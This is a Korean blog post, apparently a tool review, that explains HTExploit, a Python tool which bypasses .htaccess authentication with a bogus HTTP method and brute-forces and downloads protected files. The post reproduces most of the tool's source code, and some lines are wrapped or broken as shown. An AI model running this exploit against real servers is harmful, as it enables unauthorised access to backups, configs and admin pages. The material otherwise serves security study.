Open Source/BackTrack

[BackTrack5 R3] HTExploit

DarkSoul.Story 2013. 2. 14. 14:20
반응형




1. 개요


HTExploit 는 HiperText access Exploit의 약자로, 웹 디렉토리 및 파일을  보호하기 위해 사용하는 .htaccess 파일을 이용한 인증 프로세스를 우회하여 디렉토리 및 파일을 찾는 파이썬으로 작성된 오픈 소스 도구이다HTExploit을 이용하면,  htaccess 파일로 보호되고 있는 디렉토리 및 파일은 백업 파일, 관리자 로그인파일, 설정 파일 등을 찾을 수 있다


2. 테스트 환경 


3. 상세 분석


HTExploit 를 실행 하면 아래와 같은 화면을 확인 할 수 있다.



 

 

-h, --help

Help

-m MODULE, --module=MODULE

모듈 설정 (기본값 : Detect)

-u URL, --url=URL

대상 URL 입력

-o OUTPUT, --output=OUTPUT

결과를 파일로 저장

-w WORDLIST, --wordlist=WORDLIST

htexploit에 사용될 사전 목록 파일 지정

(기본값 : htexploit와 같이 존재하는 /res/FullList )

-v, --verbose

자세히


HTExploit 사용방법 및 결과는 매우 간단하다.


root@bt:/pentest/web/htexploit#./htexploit -u 대상 URL -w FullList -m 모듈  -o 저장될 이름


HTExploit 이 실행되는 동안 와이어샤크를 이용하여, 해당 패킷을 살펴보면 아래와 같이 FullList에 존재하는 파일명(페이지명)을 보내 응답을 확인 한다.



해당 결과는 아래와 같이 /pentest/web/htexploit/에 존재한다.


 

위에 존재하는 결과들을 이용하여, HTExploit 은 아래와 같이 보고서를 작성해 준다.



작성된 보고서를 잠시 살펴보자. Scanned URL을 클릭하면, 대상 웹 서버로 연결을 한다.  또한 아래 발견된 파일을 클릭하면 해당 파일의 내용을 확인 할 수 있다. 



위 그림을 보면 한가지 특이한 점을 확인할 수 있다. HTExploit 를 이용하여, 찾은 파일 다운로드 받는다. 그 후 원본 파일 명 뒤에 .html을 붙여 보고서로 손 쉽게 확인 할 수 있도록 자동으로 생성한다는 점이다. 


지금까지 사용방법과 결과를 확인하였다. 매우 간단하게 사용할 수 있는 HTExploit이 어떻게 이루어져 있는지 소스코드를 살펴보자.


가장 먼저 살펴볼 소스코드는 htexploit 파일이다. htexploit파일은 아래와 같이 이루져 있다.

#!/usr/bin/python
 
import ConfigParser, optparse, os, signal, sys
from lib import Ascii
from lib import Conn
from lib import Detect
from lib import FullList
 
def signal_handler(signal, frame):
        print "\n[-] Program Aborted by user.\n"
        sys.exit(0)
 
signal.signal(signal.SIGINT, signal_handler)
 
version = "0.7b"
 
title = Ascii.Title(version)
print title
 
usage = "Usage: %prog -u [URL] [options]"
parser = optparse.OptionParser(usage=usage)
parser.add_option("-m", "--module", action="store", type="string", dest="module", 
help="Select the module to run (Default: detect)")
parser.add_option("-u", "--url", action="store", type="string", dest="url", 
help="**REQUIRED** - Specify the URL to scan")
parser.add_option("-o", "--output", action="store", type="string", dest="output", 
help="Specify the output directory")
parser.add_option("-w", "--wordlist", action="store", dest="wordlist", 
help="Specify the wordlist to use")
parser.add_option("-v", "--verbose", action="store_true", dest="verbose", 
default="False", help="Be verbose")
parser.set_defaults(module="detect")
(options, args) = parser.parse_args()
 
# Set variables according to parameters
if options.url == None:
        parser.print_help()
        sys.exit()
 
if not options.url.startswith("http://") or options.url.startswith("https://"):
 options.url = "http://" + options.url
 
if options.output == None:
        outdir = options.output
else:
        outdir = os.path.abspath(options.output)
 
if options.module == "detect":
        Detect.Scan(options.url,options.verbose,outdir)
elif options.module == "full":
        FullList.Scan(options.url,options.verbose,outdir)
else:
        help = "Module '" + options.module + "' not recognized.\n\n"
        help = help + "Available Modules:\n"
        help = help + "  detect - Detects if the directory is vulnerable\n"
        help = help + "  full   - Runs a dictionary attack on the URL, to find 
protected PHP files\n"
        print help


htexploit 파일은 사용자가 입력하는 대상 URL 및 옵션을 받아 들이는 역할만 수행하며, 받아들인 값들은 /lib/ 에 존재하는 각각의 함수(?)로 전달된다. /lib/ 폴더 안에는 Ascii.py, Conn.py, Detect.py, FullList.py 가 존재한다. 이제 각각 어떤 역할을 수행하는지 소스코드를 살펴 보자.


 Ascii.py은 단순히 htexploit 이 실행될 때 나타나는 타이틀을 정의해 두었다.


 

Conn.py는 사용자가 입력한 대상 URL에 연결을 할 때 사용된다. 소스코드는 아래와 같이 이루어져 있다.


#!/usr/bin/python
 
import os, sys, httplib, urlparse, socket, urllib2
from urllib2 import Request, urlopen, URLError, HTTPError
 
dst_method = "POTATO"
 
def Connect(method,url):
        try:
                opener = urllib2.build_opener(urllib2.HTTPHandler)
                request = urllib2.Request(url)
                request.get_method = lambda: 'POTATO'
                resp = opener.open(request)
        except HTTPError, e:
                return e.code
        except URLError, e:
                return 1
 
        if method == 1: #If being called from the "Detect" module
                return resp.code
        elif method == 2: #If being called from the "FullList" module
                return resp.read()

 

(메소드를 POTATO를 이용하였는데, POTATO 메소드에 대해서 모르기에~~~ㅠ)


Conn.py가 대상 URL에 연결을 하면, Detect.py는 대상 URL의 index.php 파일을 찾으며, 웹 서버의 응답이 200 OK 이면 FullScan 모듈로 다시 진행 할것인지 묻게 된다. 사용자가 [yes,y,ye] 또는 아무 입력 없이 엔터를 클릭한 경우 FullScan 모듈이 진행되며, [no,n]를 입력할 경우 더이상 진행하지 않는다.


import Conn
import FullList
 
dst_file = "/index.php"
 
def Scan(url,verbose,outdir):
        res = Conn.Connect(1,url + dst_file)
        if verbose == True:
                print "[+] Testing '" + url + dst_file + "' ..."
        if res == 1: #If there's an error in the connection
                print "[-] Connection error.\nCheck if URL is valid and target is up and 
listening on the specified port.\n"
        else:
                if res == 200: #If the retrieval was OK
                        print "[+] " + url + " seems exploitable. Enjoy :)\n"
                else: #If the retrieval failed
                        print "[-] " + url + " is probably NOT exploitable :(\nYou should run 
the 'full' module anyway, just in case.\n"
 
        print "Would you like to run the 'full' scan module? [Y/n]",
        yes = set(['yes','y', 'ye', ''])
        no = set(['no','n'])
        r = None
        while (r == None):
                choice = raw_input().lower()
                if choice in yes:
                        FullList.Scan(url,verbose,outdir)
                        r = 1
                elif choice in no:
                        return False
                        r = 1
                else:
                        print "Please respond with 'yes' or 'no'",

 

마지막으로 htexploit 이 구성하고 있는 파일 중에서 가장 바쁘게 동작하는 FullList.py 의 소스코드를 살펴 보자. FullList.py 의 소스코드는 아래와 같이 이루어져 있다. 


#!/usr/bin/python
 
import os, random, datetime
import Conn
 
files = ""
i = 0
j = 0
now = datetime.datetime.now()
 
def Scan(url,verbose,outdir):
 
        global files, i, j, options
 
        if outdir == None:
                rnd = str(random.randint(1, 99999))
                outdir = os.path.abspath("htexploit-" + rnd.zfill(5)) # Create a variable 
including a 5-digit random number
                if verbose == True:
                        print "[+] Output not specified, setting '" + outdir + "'"
        else:
                outdir = os.path.abspath(outdir)
 
        if os.path.exists(outdir + "/data"):
                if verbose == True:
                        print "[+] Output Dir Already Exists\n"
        else:
                if verbose == True:
                        print "[+] Creating Output Dir\n"
                try:
                        os.makedirs(outdir + "/data")
                        os.makedirs(outdir + "/res")
 
                except:
                        print "[-] Error creating output directory, do you have permissions?"
                        sys.exit("[-] Exiting.\n")
try:
                        # Copy logo PNG file
                        origfile = file(os.getcwd() + "/res/reporting/logo.png","r")
                        destfile = file(outdir + "/res/logo.png","w")
                        destfile.writelines(origfile)
                        # Copy CSS file
                        origfile = file(os.getcwd() + "/res/reporting/style.css","r")
                        destfile = file(outdir + "/res/style.css","w")
                        destfile.writelines(origfile)
                        repfile = file(outdir + "/HTExploit-report.html","w")
                        origfile = file(os.getcwd() + "/res/reporting/header.html","r")
                        repfile.writelines(origfile)
                        # Insert scan information
                        repfile.writelines("<h4>Scan date: " + now.strftime("%Y-%m-%d 
%H:%M") + "</h4>")
                        repfile.writelines("<h4>Scanned URL: <a href='" + url + "' 
target='_blank'>" + url + "</a></h4>")
                        repfile.writelines("<table class='bordered'><thead>")
                        repfile.writelines("<tr><th>ID</th><th>Name</th></tr></thead>")
                except:
                        print "[-] Error creating report files, do you have permissions?"
 
        try:
                files = open(os.getcwd()+"/res/FullList","r")
        except:
                print " **ERROR** Unable to open './res/FullList' file. Exiting\n"
 
        for line in files:
                conn_res = Conn.Connect(2,url + "/" + line)
                if conn_res == 1: #If there's an error in the connection
                        print "[-] Connection error.\nCheck if URL is valid and target is up 
and listening on the specified port.\n"
 break
                elif (conn_res == 404 or conn_res == 501): #If file was not found 
(exploit didn't work)
                        if verbose == True:
                                print "[-] File '" + line.strip() + "' couldn't be retrieved"
                else:
                        i = i + 1
                        if verbose == True:
                                print "[+] File '" + line.strip() + "' was downloaded"
                        try:
                                outfile = file(outdir + "/data/" + line.strip() 
+ ".html","w") 
#Save the files as HTML files, for easy reading
                                outfile.writelines(conn_res)
                                repfile.writelines("<TR><TD>")
                                repfile.writelines(str(i))
                                repfile.writelines("</TD><TD>")
                                repfile.writelines("<a href='data/" + line.strip() + ".html' 
target='_blank'>" + url + "/" + line.strip() + "</a><br />")
                                repfile.writelines("</TD></TR>")
 
                        except:
                                pass
                                print "I/O error on writing output file, do you have 
permissions?"
                j = j + 1
 
        origfile = file(os.getcwd() + "/res/reporting/footer.html","r")
        repfile.writelines("\n")
        repfile.writelines(origfile)
 
        print
        print "[+] Full Scan Completed."
        print "[+] " + str(i) + " files were downloaded, out of " + str(j) + 
(" + str(i * 100 / j) + "success rate). Report was saved in '" + outdir + "'\n"


FullList.py은 사용자가 지정한 사전 파일을 이용하여, 대상 URL의 파일들을 찾는다. 사전 파일에 존재하는 파일으로 대상 웹서버에 요청을 보내 대상 웹서버의 응답코드가 404나 501 인경우 해당 파일이 존재하지 않는다고 판단하며 응답 코드가 200이면 해당 파일이 존재하는것으로 판단하여, 해당 파일을 /data/ 폴더에 다운로드 받으면서 원본 파일뒤에 .html을 붙여 저장한다. 


사전 파일의 내용을 모두 대입 시켜면, 다운로드 받은 파일들을 이용하여 보고서를 작성하여, 사용자가 한눈에 볼 수 있도록 한다.


반응형

'Open Source > BackTrack' 카테고리의 다른 글

[BackTrack5 R3] Rainbowcrack  (0) 2013.02.21
[BackTrack5 R3] Wifi-Honey  (0) 2013.02.19
[BackTrack5 R3] Uberharvest  (0) 2013.02.12
[BackTrack5 R3] Ophcrack-GUI  (0) 2013.02.12
[BackTrack5 R3] Ophcrack  (0) 2013.02.12